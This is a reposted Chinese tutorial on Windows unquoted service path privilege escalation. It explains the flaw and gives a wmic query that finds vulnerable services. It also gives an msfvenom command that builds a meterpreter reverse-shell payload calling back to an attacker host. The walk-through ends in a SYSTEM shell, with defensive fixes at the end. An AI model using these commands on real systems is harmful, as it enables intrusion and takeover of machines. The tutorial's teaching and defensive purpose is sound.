当前位置 : 主页 > 编程语言 > 其它开发 >

不带引号服务路径提权原理及演示

来源:互联网 收集:自由互联 发布时间:2022-07-17
一、介绍 1.漏洞简介: 当创建可执行路径包含空格且未包含在引号内的服务时,会导致称为未引用服务路径的漏洞,该漏洞允许用户获得SYSTEM权限(当易受攻击的服务以 SYSTEM 权限运行
一、介绍

1.漏洞简介:

当创建可执行路径包含空格且未包含在引号内的服务时,会导致称为未引用服务路径的漏洞,该漏洞允许用户获得SYSTEM权限(当易受攻击的服务以 SYSTEM 权限运行时)。

2.漏洞原理:

在 Windows 中,如果服务没有用引号括起来并且有空格,它会将空格作为中断处理,并将服务路径的其余部分作为参数传递。

二、演示

环境准备:
靶机:腾讯云服务器 装有phpstudy环境的Windows server 2012 IP地址:49.xxx.xxx.xxx
攻击机:阿里云服务器 装有msf的ubuntu系统 IP地址:101.xxx.xxx.xxx

1.上传webshell后,打开网站

image

2.输入命令查看调用执行程序时不带引号的程序,从中挑选出带空格的

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

选择该程序文件
image

3.msf生成名为Program.exe的木马,并开启监听

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP地址 LPORT=4444 -f exe > Program.exe
image

为什么要命名为Program.exe?

如果路径包含空格并且没有用引号引起来,Windows API 必须假定在哪里可以找到引用的应用程序。服务会按照以下顺序依次执行
C:\Program.exe
C:\Program Files\qcloud\tat_agent\tat_agent.exe
所以将木马命名为Program.exe,并将其放在C盘根目录,会使其优先执行

4.利用webshell将该木马上传至靶机c盘根目录

image

5.在靶机启动该服务,攻击机收到反弹shell

我们通过webshell是无法启动服务的,实战中可以使管理员重启服务器,服务就能被开启了。
这里我们模拟管理员启动该服务

image

6.查看权限,成功提权

image

靶机启动服务后,只能连接一小段时间,实战中做好权限维持即可

三、防御措施

1.确保路径中包含空格的任何服务都将路径括在引号中。

2.通过设置非特定于用户或特权账户的目录和文件权限来限制访问。

3.通过应用程序控制或脚本来阻止系统上的代码执行。

网友评论